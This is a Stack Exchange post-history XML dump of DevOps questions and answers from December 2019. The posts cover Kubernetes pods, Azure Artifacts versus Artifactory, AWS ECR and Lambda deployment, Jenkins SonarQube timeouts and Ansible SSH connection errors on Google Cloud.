  <row Id="30812" PostHistoryTypeId="2" PostId="10176" RevisionGUID="48068e34-0009-4336-967d-9effb8f70e9a" CreationDate="2019-12-20T14:28:55.260" UserId="15792" Text="Your questions in order:&#xD;&#xA;&#xD;&#xA; 1. The container not only need to be built, it needs to be in a registry that Kubernetes has access to.  If you are using Docker containers (the default), you can push your container to [Docker Hub][1] so that Kubernetes can retrieve the image.&#xD;&#xA; 2. They are showing as pending because they do not yet have any containers inside of them.  You've described in the YAML that you want the container in the pod, but Kubernetes has not yet built a working Pod to your specification.&#xD;&#xA; 3. The deployment is pending because Kubernetes has not yet been able to create the 3 desired pods.&#xD;&#xA; 4. [Services][2] in Kubernetes are independent of Pods.  This is why the services are shown as available.  So internally, Kubernetes is routing your request to port 80 in the cluster, but no services are yet available on that port.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30813" PostHistoryTypeId="2" PostId="10177" RevisionGUID="70d0038e-a1e1-402c-a9f2-0fb434327737" CreationDate="2019-12-20T14:50:04.863" UserId="18753" Text="We have a requirement where we need to develop a custom product where the software component life cycle needs to be managed i.e. upload, download, recall etc. one option is to go with Custom API leveraging Azure Artifact and the other option is to go with Artifactory. &#xD;&#xA;Can we have some insight on what the better option considering - customization, cost effective solution. " ContentLicense="CC BY-SA 4.0" />
  <row Id="30814" PostHistoryTypeId="1" PostId="10177" RevisionGUID="70d0038e-a1e1-402c-a9f2-0fb434327737" CreationDate="2019-12-20T14:50:04.863" UserId="18753" Text="How is microsoft Artifact better compared to Artifactory" ContentLicense="CC BY-SA 4.0" />
  <row Id="30815" PostHistoryTypeId="3" PostId="10177" RevisionGUID="70d0038e-a1e1-402c-a9f2-0fb434327737" CreationDate="2019-12-20T14:50:04.863" UserId="18753" Text="&lt;azure&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30816" PostHistoryTypeId="5" PostId="10177" RevisionGUID="f2130014-88cf-47ee-bb3c-d7dd902ca821" CreationDate="2019-12-20T14:59:34.833" UserId="210" Comment="added 79 characters in body; edited tags" Text="We have a requirement where we need to develop a custom product where the software component life cycle needs to be managed i.e. upload, download, recall etc. one option is to go with Custom API leveraging [Azure Artifacts][1] and the other option is to go with Artifactory. &#xD;&#xA;Can we have some insight on what the better option considering - customization, cost effective solution. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/services/devops/artifacts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30817" PostHistoryTypeId="6" PostId="10177" RevisionGUID="f2130014-88cf-47ee-bb3c-d7dd902ca821" CreationDate="2019-12-20T14:59:34.833" UserId="210" Comment="added 79 characters in body; edited tags" Text="&lt;artifactory&gt;&lt;azure-artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30818" PostHistoryTypeId="2" PostId="10178" RevisionGUID="c48b93e6-a180-45ab-a52b-db629f40ce1e" CreationDate="2019-12-20T15:01:11.027" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30819" PostHistoryTypeId="1" PostId="10178" RevisionGUID="c48b93e6-a180-45ab-a52b-db629f40ce1e" CreationDate="2019-12-20T15:01:11.027" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30820" PostHistoryTypeId="2" PostId="10179" RevisionGUID="54b191af-1958-4850-98fd-3a492a39118d" CreationDate="2019-12-20T15:01:11.027" UserId="210" Text="Use this tag if a question is about Azure Artifacts" ContentLicense="CC BY-SA 4.0" />
  <row Id="30821" PostHistoryTypeId="1" PostId="10179" RevisionGUID="54b191af-1958-4850-98fd-3a492a39118d" CreationDate="2019-12-20T15:01:11.027" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30822" PostHistoryTypeId="5" PostId="10177" RevisionGUID="52a601ed-33b0-4469-a4e5-ea7ac98d1ec2" CreationDate="2019-12-20T15:03:19.967" UserId="18753" Comment="added 89 characters in body; edited tags" Text="We have a requirement where we need to develop a custom product where the software component life cycle needs to be managed i.e. upload, download, recall etc. one option is to go with Custom API leveraging Azure Artifact and the other option is to go with Artifactory. &#xD;&#xA;Can we have some insight on what are the Pros and Cons of these two solution. &#xD;&#xA;some of the links which provides info are &#xD;&#xA;https://www.g2.com/products/azure-artifacts/competitors/alternatives&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30823" PostHistoryTypeId="6" PostId="10177" RevisionGUID="52a601ed-33b0-4469-a4e5-ea7ac98d1ec2" CreationDate="2019-12-20T15:03:19.967" UserId="18753" Comment="added 89 characters in body; edited tags" Text="&lt;artifactory&gt;&lt;azure-artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30825" PostHistoryTypeId="2" PostId="10180" RevisionGUID="def4f0b0-556e-4792-941d-a13d1b40e3b0" CreationDate="2019-12-20T15:06:17.537" UserId="18304" Text="I used packer to upload a docker image I created to my AWS ECR repository.&#xD;&#xA;&#xD;&#xA;How can I use the AWS cli to automatically locate that image, create a new cluster, set the port rules to allow all inbound and outbound traffic and then spin up the container?&#xD;&#xA;I want to automate this process so I can integrate it into packer later, as a post processor.&#xD;&#xA;&#xD;&#xA;Can someone explain me how I can do this?&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;type&quot;: &quot;docker-push&quot;,&#xD;&#xA;        &quot;ecr_login&quot;: true,&#xD;&#xA;        &quot;aws_access_key&quot;: &quot;&lt;snip&gt;&quot;,&#xD;&#xA;        &quot;aws_secret_key&quot;: &quot;&lt;snipe&gt;&quot;,&#xD;&#xA;        &quot;login_server&quot;: &quot;https://&lt;snip&gt;.dkr.ecr.eu-west-1.amazonaws.com/&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Currently the last part of my packer script just uploads the image - now I need a way to automatically start this docker image and make sure the network traffic settings are configured correctly." ContentLicense="CC BY-SA 4.0" />
  <row Id="30826" PostHistoryTypeId="1" PostId="10180" RevisionGUID="def4f0b0-556e-4792-941d-a13d1b40e3b0" CreationDate="2019-12-20T15:06:17.537" UserId="18304" Text="AWS ECR start uploaded docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30827" PostHistoryTypeId="3" PostId="10180" RevisionGUID="def4f0b0-556e-4792-941d-a13d1b40e3b0" CreationDate="2019-12-20T15:06:17.537" UserId="18304" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30829" PostHistoryTypeId="2" PostId="10182" RevisionGUID="bb365dc8-2a4a-4b13-9d05-ed2502c90e97" CreationDate="2019-12-20T15:35:26.433" UserId="210" Text="In my opinion, Packer should only be used for building something like a VM or docker image. If you would like to run a VM then you could subsequently use Vagrant or docker-compose in case of docker.&#xD;&#xA;&#xD;&#xA;&gt; now I need a way to automatically start this docker image and make&#xD;&#xA;&gt; sure the network traffic settings are configured correctly&#xD;&#xA;&#xD;&#xA;If one is running k8s then one could update the tag of a docker-image that is defined in the deployment.yaml and do a `kubectl up` again." ContentLicense="CC BY-SA 4.0" />
  <row Id="30830" PostHistoryTypeId="2" PostId="10183" RevisionGUID="062decbc-104e-406e-b825-4227c21488f0" CreationDate="2019-12-20T15:37:10.593" UserId="17458" Text="My solution is based on signed cookies (find how to implement it here, https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-signed-cookies.html); I've created a lambda that handles this for me a bit differently, as I need users to access a location to get their cookie in the easiest way possible and have someone control to whom can be granted the auth cookie. An example of a basic implementation of this is here: https://aws.amazon.com/blogs/compute/simply-serverless-using-aws-lambda-to-expose-custom-cookies-with-api-gateway/&#xD;&#xA;&#xD;&#xA;Finally, after you have provided your Content origin in Cloudfront, in the Behaviors tab where you setup the Content origin desired behaviour you need to set &quot;Restrict Viewer Access (Use Signed URLs or Signed Cookies)&quot;.&#xD;&#xA;&#xD;&#xA;Obs: make sure you also forward all cookies and query strings." ContentLicense="CC BY-SA 4.0" />
  <row Id="30831" PostHistoryTypeId="2" PostId="10184" RevisionGUID="04ed5d25-98d0-4113-96f6-5418aeaebb69" CreationDate="2019-12-20T15:47:59.100" UserId="15792" Text="Microsoft Artifact makes a lot of sense if you are using other Microsoft Azure products such as their DevOps solutions.  If you are using Azure, Microsoft Artifact will integrate well with the rest of the platform, have better support (only 1 vendor to deal with), and should have better performance since the data will all be in their network.  Additionally, you would not be billed for a data out transfer to create and store the artifact.&#xD;&#xA;&#xD;&#xA;On the other hand Artifactory is designed to be more technologically agnostic.  It will integrate with major cloud providers (Azure, Google, AWS) and supports many different types of technologies.  However, there will be some setup and configuration to get it up and running if using the On-Prem version." ContentLicense="CC BY-SA 4.0" />
  <row Id="30832" PostHistoryTypeId="5" PostId="10183" RevisionGUID="87b9c3ee-39d5-4d12-884a-fc667a1fcbe4" CreationDate="2019-12-20T15:50:02.297" UserId="17458" Comment="add graph" Text="My solution is based on signed cookies (find how to implement it here, https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-signed-cookies.html); I've created a lambda that handles this for me a bit differently, as I need users to access a location to get their cookie in the easiest way possible and have someone control to whom can be granted the auth cookie. An example of a basic implementation of this is here: https://aws.amazon.com/blogs/compute/simply-serverless-using-aws-lambda-to-expose-custom-cookies-with-api-gateway/&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Finally, after you have provided your Content origin in Cloudfront, in the Behaviors tab where you setup the Content origin desired behaviour you need to set &quot;Restrict Viewer Access (Use Signed URLs or Signed Cookies)&quot;.&#xD;&#xA;&#xD;&#xA;Obs: make sure you also forward all cookies and query strings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GyJ5F.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30833" PostHistoryTypeId="19" PostId="8690" RevisionGUID="a3a8b9dc-a49e-4ab3-bc0a-8962e9d7b973" CreationDate="2019-12-20T15:58:49.260" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30834" PostHistoryTypeId="2" PostId="10185" RevisionGUID="d8e57298-172b-4161-8271-ec23ab452d21" CreationDate="2019-12-20T16:01:43.003" UserId="15792" Text="The answer depends on how you want to run the container.  There are 3 ways you could accomplish this:&#xD;&#xA;&#xD;&#xA; 1. Since you mentioned creating a cluster, you could create a new Kubernetes cluster and run your containers in this cluster.  AWS does support creating a cluster and managing of it via the [CLI][1].&#xD;&#xA; 2. You can choose to run the containers as part of AWS Elastic Container Service ([ECS][2]).  This supports launching the containers via AWS Fargate (essentially a &quot;serverless&quot; type approach where you pay for CPU and Memory consumed) or on a standard EC2 instance.  ECS has its own [CLI][3] (separate install).  ECS will also allow you to set the ports and set inbound/outbound rules.&#xD;&#xA; 3. Finally, you can choose to use the CLI to spin up an EC2 instance and then manually or via a script start the docker containers.  However, you'd be much better off choosing one of the first two options.&#xD;&#xA;&#xD;&#xA;Finally, AWS does have a [tutorial][4] that seems to go over exactly what you are trying to accomplish (configuring a container to run via the CLI).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/eks/create-cluster.html&#xD;&#xA;  [2]: https://aws.amazon.com/ecs/&#xD;&#xA;  [3]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ECS_CLI.html&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ECS_AWSCLI_EC2.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="30840" PostHistoryTypeId="5" PostId="10166" RevisionGUID="ac80ca81-69c1-421f-963a-84bd0bcbd0ce" CreationDate="2019-12-20T17:11:17.450" UserId="18741" Comment="added 258 characters in body" Text="Just getting started on Docker and after installing Docker Desktop on a Windows 10 Pro machine, the option to enable Kubernetes is missing from the context menu when using Windows containers. See the attached image. When I switch to Linux containers the option appears. Various reading I've done seems to indicate that it should be available to Windows containers too. What am I missing?&#xD;&#xA;&#xD;&#xA;Windows 10 Pro (10.0.17134.1006)&#xD;&#xA;&#xD;&#xA;Docker Desktop 2.1.0.5&#xD;&#xA;&#xD;&#xA;[![Context Menu from Docker Desktop missing Kubernetes Option][1]][1]&#xD;&#xA;&#xD;&#xA;After update:&#xD;&#xA;[![Context Menu from Docker Desktop missing Kubernetes Option after Update][2]][2]&#xD;&#xA;&#xD;&#xA;Settings after update:&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/6KBzS.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/5V7Hw.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/GfubQ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30844" PostHistoryTypeId="5" PostId="10166" RevisionGUID="a9df477f-b58a-415f-b693-538d33f3fbc8" CreationDate="2019-12-20T17:47:15.597" UserId="18741" Comment="updated screen caps" Text="Just getting started on Docker and after installing Docker Desktop on a Windows 10 Pro machine, the option to enable Kubernetes is missing from the context menu when using Windows containers. See the attached image. When I switch to Linux containers the option appears. Various reading I've done seems to indicate that it should be available to Windows containers too. What am I missing?&#xD;&#xA;&#xD;&#xA;Windows 10 Pro (10.0.17134.1006)&#xD;&#xA;&#xD;&#xA;Docker Desktop 2.1.0.5&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;After update:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Settings after update:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/oLYZg.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/8IZzA.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/XK7kp.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30845" PostHistoryTypeId="5" PostId="10165" RevisionGUID="d1c927ba-1a4c-4ef1-9caa-d86966182f25" CreationDate="2019-12-20T17:50:01.820" UserId="18007" Comment="added 24 characters in body" Text="I have some pipelines in Jenkins, with the SonarQube stage. In some builds it is aborted due to time out:&#xD;&#xA;&#xD;&#xA;    12:19:01 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    12:22:10 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    12:22:10 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    12:22:10 SonarQube task 'XXXXXXXXXX' status is 'PENDING'&#xD;&#xA;    12:47:10 Cancelling nested steps due to timeout&#xD;&#xA;&#xD;&#xA;and in some other builds it pass:&#xD;&#xA;&#xD;&#xA;    13:56:47 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    13:59:47 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    13:59:47 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' status is 'SUCCESS'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' completed. Quality gate is 'WARN'&#xD;&#xA;&#xD;&#xA;Trigger command in bitbucket file:&#xD;&#xA;&#xD;&#xA;		stage('Sonar Quality Gate') {&#xD;&#xA;			sleep 180&#xD;&#xA;			timeout(time: 25, unit: 'MINUTES') {&#xD;&#xA;				def qg = waitForQualityGate()&#xD;&#xA;						if (!(qg.status == 'OK' || qg.status == 'WARN')) {&#xD;&#xA;							error &quot;Pipeline aborted due to quality gate failure: ${qg.status}&quot;&#xD;&#xA;						}&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;what might be the reason for it? how can I keep it stable? can it be network isssue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30846" PostHistoryTypeId="2" PostId="10187" RevisionGUID="c7e4fd78-1136-4ec0-baf6-59081b882d81" CreationDate="2019-12-20T17:51:59.943" UserId="2708" Text="My current understanding is that it is not possible to avoid false positives. At least not if traffic comes from different time zones around the world (as in the context of this question).&#xD;&#xA;&#xD;&#xA;AWS operates on UTC times, but this is irrelevant for the anomaly detection. It does play a role if you set timers, but it is not taking into account for the predictions of AWS. In other words, switching to UTC will not make false-positives less likely.&#xD;&#xA;&#xD;&#xA;When thinking about it, it is hard to avoid false-positives. If a  time-shift in Europe or the US happens, you could take that  into account and predict the new traffic. But that requires extra domain knowledge. The AWS predictor only sees a  generic time series.&#xD;&#xA;&#xD;&#xA;There are other events such as Christmas, which will impact the expected traffic. Again, with extra knowledge you could improve predictions. But the problem is too difficult for the AWS predictor, as it does not have that domain knowledge.&#xD;&#xA;&#xD;&#xA;In our concrete case, we still kept the alerts, as they do have value even with the known false-positives. Humans with knowledge about the underlying system, can reject the false-positive. It is not ideal, but it is a trade-off that we are willing to make.&#xD;&#xA;&#xD;&#xA;Note that other types of graphs are not susceptible for these types of problems. For example, error rates instead of total number of errors. It is not always possible, but if you can use rates, the system will be more stable in my experience.&#xD;&#xA;AWS allows to set alerts on math expressions such as `errors / requests`. The advantage is that normalized rates tend to be agnostic of external events." ContentLicense="CC BY-SA 4.0" />
  <row Id="30847" PostHistoryTypeId="5" PostId="10167" RevisionGUID="c64c6060-c616-4a49-9189-933437214697" CreationDate="2019-12-20T17:59:28.617" UserId="12138" Comment="updated the answer " Text="You need to first switch to Edge version by going to the &#xD;&#xA;&#xD;&#xA;Docker -&gt; Settings -&gt; General tab.&#xD;&#xA;&#xD;&#xA;Then, you have to enable the kubernetes. &#xD;&#xA;&gt; Open Docker for Windows settings by accessing your system tray and navigate to the Kubernetes tab. Select the checkbox for Enable Kubernetes to start a single-node cluster when starting Docker.&#xD;&#xA;&#xD;&#xA;Reference: https://medium.com/@damiannolan/kubernetes-on-docker-for-windows-5ca0c6395668&#xD;&#xA;&#xD;&#xA;As per this old [link][1] and a [latest one][2], Kubernetes needs a Linux master node and thus the kubernetes cluster can be initialized only from `linux containers` in Docker desktop for Windows. After enabling and starting the docker containers, you can add Windows containers the the running kubernetes cluster.&#xD;&#xA;&#xD;&#xA;[This][3] will give you much clear context.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/56157504/how-to-run-windows-containers-on-local-kubernetes&#xD;&#xA;  [2]: https://blog.sixeyed.com/getting-started-with-kubernetes-on-windows/&#xD;&#xA;  [3]: https://cloudblogs.microsoft.com/opensource/2019/03/25/windows-server-containers-now-supported-kubernetes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30848" PostHistoryTypeId="50" PostId="9863" RevisionGUID="d77436b9-9cd9-487c-8aff-dae1d0b686e2" CreationDate="2019-12-20T19:00:50.090" UserId="-1" />
  <row Id="30849" PostHistoryTypeId="5" PostId="10165" RevisionGUID="822e3653-1b50-4e81-9c30-d85dcc007a4d" CreationDate="2019-12-20T19:40:40.003" UserId="18007" Comment="added sonarqube version" Text="I have some pipelines in Jenkins, with the SonarQube stage (Version: 6.7.1, build 35068)&#xD;&#xA;In some builds it is aborted due to time out:&#xD;&#xA;&#xD;&#xA;    12:19:01 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    12:22:10 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    12:22:10 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    12:22:10 SonarQube task 'XXXXXXXXXX' status is 'PENDING'&#xD;&#xA;    12:47:10 Cancelling nested steps due to timeout&#xD;&#xA;&#xD;&#xA;and in some other builds it pass:&#xD;&#xA;&#xD;&#xA;    13:56:47 Sleeping for 3 min 0 sec&#xD;&#xA;    [Pipeline] timeout&#xD;&#xA;    13:59:47 Timeout set to expire in 25 min&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] waitForQualityGate&#xD;&#xA;    13:59:47 Checking status of SonarQube task 'XXXXXXXXXX' on server 'Sonar'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' status is 'SUCCESS'&#xD;&#xA;    13:59:47 SonarQube task 'XXXXXXXXXXXX' completed. Quality gate is 'WARN'&#xD;&#xA;&#xD;&#xA;Trigger command in bitbucket file:&#xD;&#xA;&#xD;&#xA;		stage('Sonar Quality Gate') {&#xD;&#xA;			sleep 180&#xD;&#xA;			timeout(time: 25, unit: 'MINUTES') {&#xD;&#xA;				def qg = waitForQualityGate()&#xD;&#xA;						if (!(qg.status == 'OK' || qg.status == 'WARN')) {&#xD;&#xA;							error &quot;Pipeline aborted due to quality gate failure: ${qg.status}&quot;&#xD;&#xA;						}&#xD;&#xA;			}&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;what might be the reason for it? how can I keep it stable? can it be network isssue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30851" PostHistoryTypeId="2" PostId="10188" RevisionGUID="5cc968c9-17ab-4ed8-bab8-d609977ce80f" CreationDate="2019-12-20T20:05:52.717" UserId="9148" Text="Not sure if this would work for you, but what I do is store all of the build metadata into a `BuildInfo.json` file. You could just save it as an XML file like you said, but I found it easier to parse info with Groovy if it was a JSON file. Along with the most recent commit hash, we store most of the build information in this file, including the result, duration, user who kicked off the build, etc.&#xD;&#xA;&#xD;&#xA;One advantage of this approach is we're able to create other jobs that take action of already built products, such as for deployments. These jobs can just look for the presence of a `BuildInfo.json` file and take action based off the information contained within. Example:&#xD;&#xA;&#xD;&#xA;```Groovy&#xD;&#xA;import groovy.json.*&#xD;&#xA;&#xD;&#xA;def build_info = [&#xD;&#xA;    'Product': 'MyApp',&#xD;&#xA;    'Build Type': 'Full',&#xD;&#xA;    'Build Name': currentBuild.displayName,&#xD;&#xA;    'Version': '1.2.3.4',&#xD;&#xA;    'Source Branch' : params.Branch,&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;def json_output = readJSON text: groovy.json.JsonOutput.toJson(build_info)&#xD;&#xA;writeJSON file: &quot;BuildInfo.json&quot;, json: json_output, pretty: 4" ContentLicense="CC BY-SA 4.0" />
  <row Id="30852" PostHistoryTypeId="2" PostId="10189" RevisionGUID="2fcbb135-841b-4bc4-871f-0faa3eb845f4" CreationDate="2019-12-20T20:15:06.463" UserId="9148" Text="According the the Jenkins docs, you could use your custom docker image as the [execution environment](https://jenkins.io/doc/book/pipeline/docker/#execution-environment), assuming the server Jenkins is running on has Docker installed/running. &#xD;&#xA;```Groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent {&#xD;&#xA;        docker { image 'your-custom-image' }&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'commands to run in your docker image here'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30864" PostHistoryTypeId="2" PostId="10191" RevisionGUID="4d1fff27-ae50-4d1d-bfd9-2e125da61fee" CreationDate="2019-12-21T05:52:12.003" UserId="18661" Text="he executor thread is waiting on the channel to give it more data.&#xD;&#xA;&#xD;&#xA;- you got a little confused due to the fact that the ping thread has the name of the channel Object in its threads name (which is the same Object that the executor is wating for...)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30865" PostHistoryTypeId="5" PostId="10177" RevisionGUID="d9ad95f6-3b9a-4c14-90e6-42f1e370e1d9" CreationDate="2019-12-21T06:17:13.253" UserId="18753" Comment="added 131 characters in body" Text="We have a requirement where we need to develop a custom product where the software component life cycle needs to be managed i.e. upload, download, recall etc. one option is to go with Custom API leveraging Azure Artifact and the other option is to go with Artifactory. &#xD;&#xA;Can we have some insight on what are the Pros and Cons of these two solution. &#xD;&#xA;some of the links which provides info are &#xD;&#xA;https://www.g2.com/products/azure-artifacts/competitors/alternatives&#xD;&#xA;In addition to that i would also like to understand how is their support towards package managers mainly cocoapods, maven etc &#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30866" PostHistoryTypeId="5" PostId="10177" RevisionGUID="33aa95de-cf9d-458e-82f5-07cec5ddd7cf" CreationDate="2019-12-21T10:19:26.670" UserId="210" Comment="added 77 characters in body" Text="We have a requirement where we need to develop a custom product where the software component life cycle needs to be managed i.e. upload, download, recall etc. one option is to go with Custom API leveraging [Azure Artifacts][1] and the other option is to go with Artifactory. &#xD;&#xA;Can we have some insight on what are the Pros and Cons of these two solution. &#xD;&#xA;some of the links which provides info are &#xD;&#xA;https://www.g2.com/products/azure-artifacts/competitors/alternatives&#xD;&#xA;In addition to that i would also like to understand how is their support towards package managers mainly cocoapods, maven etc &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/services/devops/artifacts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30867" PostHistoryTypeId="4" PostId="10177" RevisionGUID="33aa95de-cf9d-458e-82f5-07cec5ddd7cf" CreationDate="2019-12-21T10:19:26.670" UserId="210" Comment="added 77 characters in body" Text="What are the pros and cons of Azure Artifacts vs. Artifactory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30868" PostHistoryTypeId="2" PostId="10192" RevisionGUID="ef11f711-c61f-457d-a16d-4d54c46b14d1" CreationDate="2019-12-21T13:29:52.670" UserId="12890" Text="To speed up builds, I'd like to avoid install tools that I need on every commit with `apt-get update -y &amp;&amp; apt-get install -y git zip`.&#xD;&#xA;&#xD;&#xA;Normal way is to create custom build image, register at Docker Hub and upload it there. But I am 100% sure that there is already an up to date image that contains both `git` and `zip` tools that I need. The only question is how to find this image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30869" PostHistoryTypeId="1" PostId="10192" RevisionGUID="ef11f711-c61f-457d-a16d-4d54c46b14d1" CreationDate="2019-12-21T13:29:52.670" UserId="12890" Text="Find most popular images with `zip` and `git` on Docker Hub" ContentLicense="CC BY-SA 4.0" />
  <row Id="30870" PostHistoryTypeId="3" PostId="10192" RevisionGUID="ef11f711-c61f-457d-a16d-4d54c46b14d1" CreationDate="2019-12-21T13:29:52.670" UserId="12890" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30871" PostHistoryTypeId="2" PostId="10193" RevisionGUID="a7fddc5d-a888-4618-b1e9-0637c19a9763" CreationDate="2019-12-21T17:39:50.770" UserId="3283" Text="You can upload using aws-cli.&#xD;&#xA;&#xD;&#xA;    aws configure&#xD;&#xA;    &#xD;&#xA;    aws lambda list-functions&#xD;&#xA;    &#xD;&#xA;    aws lambda update-function-code \&#xD;&#xA;        --function-name MyLambdaFunction \&#xD;&#xA;        --zip-file fileb://index.zip&#xD;&#xA;&#xD;&#xA;See https://developer.amazon.com/blogs/post/Tx1UE9W1NQ0GYII/Publishing-Your-Skill-Code-to-Lambda-via-the-Command-Line-Interface&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30872" PostHistoryTypeId="33" PostId="1992" RevisionGUID="789b3b7a-c70b-4adb-b62d-21770babbb24" CreationDate="2019-12-21T22:33:45.553" UserId="60" Comment="46" />
  <row Id="30873" PostHistoryTypeId="33" PostId="1866" RevisionGUID="f45e5e6e-4a6e-4a11-b3ef-81c760210205" CreationDate="2019-12-21T22:34:44.917" UserId="60" Comment="47" />
  <row Id="30884" PostHistoryTypeId="2" PostId="10197" RevisionGUID="6d9d8436-946c-40c5-aba1-cfa4c03b9fab" CreationDate="2019-12-22T09:48:09.143" UserId="18771" Text="I'm trying to automate google cloud virtual instances remotely only using external ip addresses of virtual machines. I can ssh into the virtual machines using command line with user name `shishir9159_gmail_com` . But If I use any ansible commands like this:&#xD;&#xA;&#xD;&#xA;    ansible -i hosts -u shishir9159_gmail_com --private-key=~/.ssh/google_compute_engine -m ping all&#xD;&#xA;&#xD;&#xA;and it results in this following error:&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: &quot;Failed to connect to the host via ssh: shishir9159@35.202.219.6: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).&quot;&#xD;&#xA;&#xD;&#xA;I've used some parameters in my ansible.cfg:&#xD;&#xA;&#xD;&#xA;    host_key_checking = False&#xD;&#xA;    ssh_args = -o ControlMaster=no&#xD;&#xA;&#xD;&#xA;But I don't think they do much of a help according to this post:  &#xD;&#xA;https://serverfault.com/questions/929222/ansible-where-do-preferredauthentications-ssh-settings-come-from&#xD;&#xA;&#xD;&#xA;And I tried many methods and recommendations. I have a service account but it doesn't seem to me necessary for this simple ping command." ContentLicense="CC BY-SA 4.0" />
  <row Id="30885" PostHistoryTypeId="1" PostId="10197" RevisionGUID="6d9d8436-946c-40c5-aba1-cfa4c03b9fab" CreationDate="2019-12-22T09:48:09.143" UserId="18771" Text="Running Automation on Google Cloud Virtual Instances using Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="30886" PostHistoryTypeId="3" PostId="10197" RevisionGUID="6d9d8436-946c-40c5-aba1-cfa4c03b9fab" CreationDate="2019-12-22T09:48:09.143" UserId="18771" Text="&lt;ansible&gt;&lt;google-cloud-platform&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
